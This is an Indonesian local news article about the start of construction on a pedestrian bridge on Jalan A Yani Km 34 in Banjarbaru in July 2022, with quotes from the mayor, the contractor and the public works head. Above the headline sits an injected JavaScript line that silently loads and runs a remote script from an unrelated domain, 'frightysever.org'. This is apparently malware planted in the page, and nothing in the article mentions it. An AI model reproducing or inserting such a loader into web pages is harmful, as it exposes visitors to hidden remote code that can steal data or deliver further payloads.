(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

Tiang Pancang JPO A Yani Km 34 Banjarbaru Agustus Mulai Dikerjakan

KANALKALIMANTAN.COM, BANJARBARU – Proyek Jembatan Penyeberangan Orang (JPO) di Jalan A Yani Km 34 mulai digarap.

Pembangunan JPO di ruas utama kota Banjarbaru ditinjau Wali Kota Banjarbaru Aditya Mufti Ariffin, Selasa (26/7/2022) petang.

Pantauan kanalkalimantan.com para pekerja dari CV Tiga Jaya Group mulai melakukan pembongkaran pembatas jalan dan menggali beberapa titik yang akan dijadikan kaki pondasi JPO.

Wali Kota Banjarbaru melakukan pemantauan langsung terhadap pembangunan JPO di samping SPBU Coco Banjarbaru tersebut.

Manager CV Tiga Jaya Group, Zaina Reza mengatakan, pembangunan JPO di Jalan A Yani Km 34 Banjarbaru Provinsi Kalimantan Selatan sudah mencapai progres 10 persen pengerjaan, tanpa ada kendala sedikitpun.

“Kita sudah mendatangkan tiang pancang, membongkar median A Yani, sementara untuk struktur utama dari pabrik sudah konfirmasi, insyaallah dua bulan mendatang sudah didatangkan,” ujarnya.

Diungkapkan Reza, pihaknya sudah pernah membangun JPO, dan JPO di Banjarbaru merupakan proyek yang kedua. Kontraktor pekerjaan yakin dalam 180 hari masa kerja tuntas dikerjakan.

“Sesuai target jadwal 180 hari selesai, diusahakan pertengahan Desember selesai, ini merupakan salah satu ikon untuk Kalsel, dan menjadi pembangunan JPO kedua kami,” tegasnya.

Sementara itu, Kepala Dinas PUPR Kota Banjarbaru, Eka Yuliesda Akbari mengatakan, pihaknya akan terus melihat dan memonitor secara ketat perkembangan pembangunan JPO sampai 28 Desember 2022 mendatang.

“Jika terjadi keterlambatan kita masih ada program 50 hari jadi masih bisa, kita monitor terus kegiatan ini, saya sendiri terhadap visi misi pak Wali pasti dikawal ketat,” ujarnya.

Terkait progres pembangunan awal sudah 10 persen, Eka menilai biasa saja sebab di awal pembangunan belum terlihat. Karena masih terlihat ukuran bentuk barang belum terpasang. Dan di awal bulan Agustus akan ada pemancangan tiang.

“Kurang lebihlah, karena kita menghitung secara fisiknya di awal bulan, tidak terlalu cepat sekali karena belum terlihat waktu di awal, nanti di pertengahan bisa kita monitor cepat atau apa,” jelasnya. (Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie